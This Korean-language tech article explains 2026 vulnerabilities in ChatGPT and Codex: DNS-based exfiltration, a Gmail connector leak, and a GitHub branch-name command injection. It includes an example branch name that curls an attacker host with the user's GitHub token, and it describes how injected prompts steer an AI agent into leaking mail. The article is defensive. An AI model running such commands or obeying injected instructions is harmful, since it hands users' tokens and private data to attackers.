AI

ChatGPT 내부 프롬프트 유출, 일반인이 알아야 할 보안 위협

ChatGPT 내부 프롬프트 유출, 일반인이 알아야 할 보안 위협

ChatGPT에 붙여넣은 그 계약서, 사실 외부로 새고 있었을 수도 있어요. 2026년 들어 보안 연구팀들이 연이어 발표한 내용을 보면, 단순히 “AI 해킹"으로 치부하기엔 범위가 너무 넓어요. 일상적으로 ChatGPT를 쓰는 사람이라면 지금 어떤 위험에 노출돼 있는지 짚어볼 필요가 있어요.

핵심 요약

  • Check Point Research가 2026년 2월 발견한 취약점에 따르면, ChatGPT의 내부 Linux 실행 환경에서 DNS 요청을 통해 대화 기록과 첨부 파일이 외부 서버로 몰래 전송될 수 있었어요.
  • 같은 시기 BeyondTrust Phantom Labs는 Codex의 GitHub 브랜치명 처리 방식에 허점을 발견, 인증 토큰 탈취로 조직 전체 코드 저장소가 노출될 수 있음을 확인했어요.
  • ChatGPT의 Gmail 연동 기능에서 사용자 화면에 흔적을 거의 남기지 않은 채 메일 데이터가 유출될 수 있는 경로가 확인됐고, OpenAI는 내부 Artifactory 인스턴스를 오프라인으로 전환했어요.
  • 현재 두 취약점 모두 패치됐지만, 근본 원인인 “기본 허용” 권한 설정과 공유 인프라 구조는 여전히 주목해야 해요.

2026년에 이 문제가 터진 이유

ChatGPT가 처음 나왔을 때 사람들이 걱정한 건 주로 “AI가 거짓말을 한다"였어요. 보안 문제는 뒷전이었죠. 그런데 2026년 들어 분위기가 완전히 달라졌어요.

이유는 명확해요. AI가 “대화하는 도구"에서 “실제로 뭔가를 실행하는 도구"로 바뀌었거든요. Gmail 읽기, GitHub 코드 커밋, 파일 처리—이런 기능들이 ChatGPT 안으로 들어오면서 공격 표면이 기하급수적으로 넓어진 거예요.

데일리시큐 보도에 따르면, 2026년 2월에만 두 개의 별개 취약점이 패치됐어요. 하나는 2월 5일(Codex), 다른 하나는 2월 20일(ChatGPT). 불과 2주 간격이에요.

타이밍이 절묘한 건 단순한 우연이 아니에요. 기업들이 AI를 업무 파이프라인에 본격적으로 연결하기 시작한 시점과 정확히 맞물려요. 보안 연구자들이 집중적으로 파고든 결과가 이 두 달 사이에 쏟아진 거예요.

타임라인 정리:

날짜사건패치 여부
2026년 2월 5일Codex GitHub 브랜치 명령 주입 취약점 발견 (BeyondTrust)✅ 패치 완료
2026년 2월 20일ChatGPT DNS 기반 데이터 유출 경로 발견 (Check Point)✅ 패치 완료
2026년 3월ChatGPT Gmail 데이터 유출 메커니즘 공개 (Check Point)✅ 오프라인 전환

세 가지 공격 경로, 어떻게 다를까

DNS를 무기로 쓴 방식

가장 기묘한 취약점이에요. ChatGPT는 외부로 직접 데이터를 보내지 못하게 설계돼 있어요. 그런데 Check Point Research가 발견한 건, DNS 요청은 그 차단 대상에 포함되지 않았다는 거예요.

DNS는 쉽게 말해 “주소 찾기” 요청이에요. “google.com의 IP가 뭐야?“처럼요. 이 요청 안에 데이터를 숨겨서 외부 서버로 보낼 수 있어요. 보안 설계자들이 이 경로를 위험 목록에서 빠뜨린 거죠.

무서운 건 트리거가 간단하다는 점이에요. 악성 프롬프트 하나면 충분했어요. 커스텀 GPT 모델에 이 로직을 심어두면, 특정 사용자가 접속하는 순간 자동으로 작동해요. 사용자는 아무것도 눈치채지 못하고요.

GitHub 브랜치명 주입

Codex는 GitHub 저장소와 연동해서 코드를 분석하고 커밋도 할 수 있어요. BeyondTrust Phantom Labs가 발견한 건, 브랜치명 자체를 명령어로 쓸 수 있다는 거예요.

예를 들어 fix-bug라는 브랜치명 대신 ; curl attacker.com/steal?token=$GITHUB_TOKEN처럼 만들면, Codex가 이걸 실행 환경에서 그대로 돌려버려요. 결과는 GitHub 인증 토큰 탈취. 그 토큰이 있으면 조직 전체 코드 저장소에 읽기/쓰기 접근이 가능해요.

PR(Pull Request)을 하나 열면 Codex를 자동으로 트리거할 수 있으니, 공격자 입장에서 사회공학 없이도 실행 가능한 경로예요.

Gmail 데이터가 조용히 빠져나간 방식

위키트리 보도에 따르면, 이 공격은 특히 더 위험한 이유가 있어요. 사용자 화면에 흔적이 거의 없거든요.

악성 지시문은 세 가지 방식으로 대화 안에 들어올 수 있어요: 사용자가 직접 붙여넣은 텍스트, 공유된 ChatGPT 대화, 또는 커스텀 GPT의 숨겨진 빌더 지시문. 한번 들어오면, 평범한 질문(“레시피 알려줘”)을 보내는 순간 뒤에서 Gmail 데이터를 공격자 계정으로 옮기는 작업이 동시에 실행돼요.

표시되는 건 작은 “Talked to Gmail” 알림뿐이에요. 이미 완료된 다음에요. 승인 버튼은 없어요.

근본 원인은 기본 설정이에요. OpenAI의 “Important actions” 기본값이 연결된 앱에서의 데이터 읽기를 사용자 확인 없이 허용해요. 읽기는 “되돌리기 어려운 행동"으로 분류되지 않거든요.


세 공격 방식 비교

항목DNS 유출GitHub 브랜치 주입Gmail 데이터 유출
발견 주체Check Point ResearchBeyondTrust Phantom LabsCheck Point Research
트리거악성 프롬프트 1개악성 브랜치명 + PR공유 대화 / 커스텀 GPT
유출 대상대화 기록, 첨부 파일GitHub 인증 토큰Gmail 메일 데이터
사용자 가시성없음없음거의 없음 (소형 알림)
패치 방법플랫폼 패치플랫폼 패치Artifactory 오프라인
실제 피해 사례미확인미확인미확인

세 가지 공격 모두 공통점이 하나 있어요. 사용자가 뭔가 잘못했기 때문에 발생하는 게 아니에요. 플랫폼 구조 자체의 문제예요. Check Point는 이걸 “강제된 내부자(coerced insider)” 모델이라고 불러요. AI 모델 자체는 악의적이지 않지만, 잘 만들어진 프롬프트가 모델의 신뢰 경계 안에서 공격자 목표로 행동을 유도한다는 거예요.


지금 당장 뭘 바꿔야 하나

기업 보안 담당자라면:

ChatGPT 같은 AI 도구를 “독립적인 앱"으로 보는 시각을 버려야 해요. Check Point와 BeyondTrust 모두 같은 말을 해요—런타임, 파이프라인, 익스텐션 전체를 하나의 보안 경계로 봐야 한다고요. 직원들이 업무 데이터를 ChatGPT에 붙여넣는 행동 자체가 보안 정책 대상이 돼야 해요.

개발자라면:

Codex나 GitHub Copilot 같은 AI 코딩 도구를 쓸 때, 외부 PR의 브랜치명을 의심하는 습관이 필요해요. AI가 자동으로 실행하는 범위를 명시적으로 제한하는 설정을 확인하세요. 특히 CI/CD 파이프라인에 AI가 연결돼 있다면, 인증 토큰 범위(scope)를 최소 권한으로 설정하는 게 맞아요.

일반 사용자라면:

세 가지만 체크해요:

  • ChatGPT 설정 → 연결된 앱 → Gmail, Google Drive 연동 여부 확인
  • 커스텀 GPT를 쓸 때는 출처를 모르는 GPT 사용 자제
  • AI 브라우저 익스텐션 중 출처가 불명확한 것은 삭제

실제로 Microsoft가 별도로 확인한 사례도 있어요—AI로 위장한 브라우저 익스텐션이 ChatGPT 대화를 조용히 수집해서, 고객 정보와 소스 코드가 포함된 업무 데이터가 노출된 케이스예요.


앞으로 6-12개월, 뭘 봐야 할까

지금 당장 달라지는 것: OpenAI가 Artifactory를 오프라인으로 전환했고, 두 취약점 모두 패치됐어요. 사용자 측에서 별도 조치는 필요 없어요. 하지만 권한 설정 기본값 변경은 아직이에요.

3-6개월 뒤를 보면: AI의 외부 도구 연동이 더 많아질수록, 비슷한 유형의 취약점이 반복될 가능성이 높아요. 패턴이 명확해요—공유 인프라, 기본 허용 설정, 사용자 비가시성. 이 세 가지가 겹치는 지점에서 다음 취약점이 나올 가능성이 커요.

주시해야 할 신호:

  • OpenAI의 “Important actions” 기본값 변경 여부
  • AI 연동 앱의 권한 세분화(granular permission) 도입 속도
  • 국내 기업 계정 대상 실제 피해 신고 추이

이건 단순한 AI 보안 뉴스가 아니에요. AI가 실제 데이터를 만지기 시작한 지금, 이 도구를 어디까지 신뢰할지를 다시 생각해야 한다는 신호예요.

그래서 한 가지만 물어볼게요. 지금 여러분이 쓰는 ChatGPT에 연결된 앱이 몇 개인지 알고 있나요?


참고 출처: 데일리시큐, 위키트리, FlowHunt Glossary

참고자료

  1. “챗GPT 대항마 클로드마저 뚫렸다”…국내 기업 계정 100여 개 개인정보 유출 신고 < 뉴스 < 기사본문 - 데일리25
  2. Concerns have been raised that personal information from around 100 domestic business accounts on Cl
  3. ChatGPT Data Leak: Privacy Risks and Prevention | Akamai

Photo by Levart_Photographer on Unsplash